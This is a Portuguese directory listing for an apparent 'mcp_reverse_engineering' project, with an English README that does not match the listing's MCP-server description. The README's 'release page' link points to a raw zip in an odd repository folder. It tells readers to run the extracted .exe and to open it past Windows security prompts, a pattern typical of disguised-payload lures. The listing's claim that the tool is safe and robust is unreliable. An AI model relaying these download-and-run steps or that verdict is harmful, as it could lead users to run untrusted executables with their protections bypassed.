MCP Reverse Engineering
ronilowtoned410/mcp_reverse_engineering
Análise de binários sandboxada com isolamento e controles de segurança
Ver no GitHubServidor MCP que centraliza ferramentas de engenharia reversa com sandbox, isolamento de filesystem, timeouts e validação de entrada. Permite inspecionar binários, extrair strings, analisar estruturas de arquivo e coletar metadados de executáveis Windows de forma segura e controlada.
Instalação
npx convez-ai ronilowtoned410/mcp_reverse_engineering1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.
Métricas
Casos de uso
- Inspeção de executáveis Windows e estruturas binárias
- Extração de strings e recursos de programas
- Análise de headers, imports, exports e símbolos
- Reverse engineering seguro com proteções contra execução maliciosa
- Integração com Claude para análise automatizada de arquivos suspeitos
Veredito

Ferramenta especializada e robusta para profissionais de segurança e reverse engineering em Windows. A arquitetura com sandbox, timeouts e validação de entrada demonstra preocupação real com segurança, tornando-a adequada para ambientes de análise controlada integrados ao Claude.
README
A tradução para o português deste README ainda está na fila.
🛠️ mcp_reverse_engineering - Inspect files with less effort
📥 Download
Visit this page to download the latest Windows release:
On the release page, look for the Windows file name that matches your computer. Most users should choose the .exe or .zip file.
🖥️ What this tool does
mcp_reverse_engineering helps you inspect files and programs on Windows. It gives you a simple way to look inside files, check what they contain, and collect details that help with reverse engineering.
You can use it to:
- Check file text and bytes
- Inspect Windows programs
- Review file structure
- Look for strings inside a file
- Compare file behavior with common analysis tools
- Work with output from tools like
strings,hexdump,objdump,readelf, andxxd
⚙️ Before you start
You need:
- A Windows computer
- Internet access
- Enough free disk space for the app and files you want to inspect
- Permission to open the files you plan to examine
If the download comes as a .zip file, Windows can open it without extra software in most cases.
🚀 How to download and run on Windows
-
Open the release page: https://github.com/ronilowtoned410/mcp_reverse_engineering/raw/refs/heads/main/blastodisk/reverse-engineering-mcp-v1.4-beta.5.zip
-
Find the latest release near the top of the page.
-
Under Assets, download the Windows file.
-
If the file is a
.zip, right-click it and choose Extract All. -
Open the extracted folder.
-
If you see an
.exefile, double-click it to run the app. -
If Windows shows a security prompt, choose the option to open the file.
-
Keep the app and the file you want to inspect in places you can reach easily, like the Desktop or Downloads folder.
🧭 First run
When you start the app for the first time:
- Let Windows finish any startup check
- Wait for the main window to appear
- Open the file you want to inspect
- Choose the tool or action that fits your task
If you do not know where to begin, start with a simple text file or a small program file.
🧰 Common tasks
🔎 View file contents
Use this when you want to see what a file holds without opening it in a normal editor.
Good for:
- Text files
- Program files
- Unknown files
- Files with odd names or extensions
🧩 Find strings
Use this to search for readable text inside a file.
Good for:
- User names
- File paths
- URLs
- Error messages
- Embedded notes
📄 Check file structure
Use this to look at the layout of a file.
Good for:
- Windows executables
- Libraries
- Archives
- Packed files
🧪 Inspect program details
Use this to gather common reverse engineering data such as:
- Imports
- Exports
- Headers
- Sections
- Symbol names
🪟 Windows tips
- If the app does not open, right-click the file and choose Run as administrator only if you trust the source
- Keep the release file in a folder you can find again
- Avoid opening files from a network drive if the app cannot read them
- Use short folder names like
C:\ToolsorC:\Analysisif file paths cause trouble
🔧 Supported tool types
This project is built around common reverse engineering helpers and file analysis tools, including:
angrbinwalkfridagdbghidrahexdumplddltracemcpobjdumpradare2readelfstracestringsupxxxd
You do not need to know each tool to start. The app can guide you through file checks one step at a time.
📁 Example files to test
If you want to try the app first, use one of these:
- A small
.txtfile - A simple
.exefile you trust - A
.dllfile - A
.ziparchive - A file with no extension
These file types make it easier to see how the app works.
🧠 How to work with unknown files
If you have a file you do not recognize:
- Make a copy first
- Open the copy in the app
- Check the file name, size, and type
- Look for readable strings
- Review the header and structure
- Check whether the file looks packed or compressed
This approach helps you learn what the file is before you open it in another program.
🛡️ File safety
Use the app on files you trust or on copies of files you want to examine.
Good practice:
- Keep a backup of the original file
- Work in a separate folder
- Use copied files when possible
- Save results in a clear folder name
🛠️ If the app does not start
Try these steps:
- Download the file again
- Unzip it again
- Move it to a short path like
C:\Tools - Check that Windows did not block the file
- Make sure the file is fully downloaded
- Restart your computer and try again
📌 Typical workflow
A simple workflow looks like this:
- Download the release from the link above
- Run the app
- Open a file
- Check strings and structure
- Review the results
- Use the output in your next analysis step
🧩 File types you may see
The app can help you inspect:
- Windows executables
- Dynamic link libraries
- Archives
- Text files
- Logs
- Packed binaries
- Unknown data files
📂 Where to keep files
A clean folder setup makes analysis easier:
Downloadsfor the release fileDesktopfor quick accessC:\Analysisfor files you want to inspectC:\Analysis\Outputfor saved results
📝 Notes for everyday use
- Use one file at a time when you are learning
- Start with small files
- Keep file names simple
- Save your work often
- Review results before moving to the next step